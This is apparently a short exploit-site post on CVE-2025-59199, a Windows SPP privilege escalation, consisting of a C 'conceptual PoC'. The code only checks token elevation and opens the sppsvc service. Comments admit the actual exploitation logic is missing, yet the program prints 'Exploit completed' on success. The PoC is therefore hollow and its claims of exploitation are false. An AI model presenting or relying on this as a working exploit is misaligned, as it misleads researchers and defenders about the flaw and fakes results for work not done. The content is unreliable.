CVE-2025-59199：Windows SPP平台权限提升漏洞

// Conceptual PoC for CVE-2025-59199 - Windows SPP Privilege Escalation // Note: This is a conceptual demonstration based on the vulnerability description. // Actual exploitation requires specific knowledge of the vulnerable SPP interface. #include <windows.h> #include <stdio.h> #include <tchar.h> // Step 1: Check if current user has sufficient privileges to attempt exploitation BOOL CheckCurrentPrivileges() { BOOL isElevated = FALSE; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION elevation; DWORD dwSize; if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) { isElevated = elevation.TokenIsElevated; } CloseHandle(hToken); } return isElevated; } // Step 2: Attempt to interact with SPP service via its exposed interfaces // SPP service typically exposes RPC interfaces and named pipes BOOL ExploitSPPService() { SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); if (hSCManager == NULL) { printf("[-] Failed to open Service Control Manager. Error: %d\n", GetLastError()); return FALSE; } // Attempt to query or interact with the SPP service (sppsvc) SC_HANDLE hService = OpenService(hSCManager, _T("sppsvc"), SERVICE_QUERY_CONFIG | SERVICE_START); if (hService == NULL) { printf("[-] SPP service not accessible. Error: %d\n", GetLastError()); CloseServiceHandle(hSCManager); return FALSE; } // Conceptual: Trigger the vulnerable code path in SPP // The actual exploit would involve crafting specific RPC calls or // manipulating named pipe communications to bypass access control checks printf("[*] SPP service accessed. Attempting privilege escalation...\n"); // Conceptual privilege escalation logic would go here // This typically involves token manipulation or service abuse CloseServiceHandle(hService); CloseServiceHandle(hSCManager); return TRUE; } int main() { printf("[*] CVE-2025-59199 - Windows SPP Privilege Escalation PoC\n"); printf("[*] Author: Secure Research\n\n"); if (CheckCurrentPrivileges()) { printf("[+] Already running with elevated privileges.\n"); return 0; } printf("[*] Current process running with standard privileges.\n"); printf("[*] Attempting to exploit SPP access control vulnerability...\n\n"); if (ExploitSPPService()) { printf("[+] Exploit completed. Check current privilege level.\n"); } else { printf("[-] Exploit failed.\n"); } return 0; }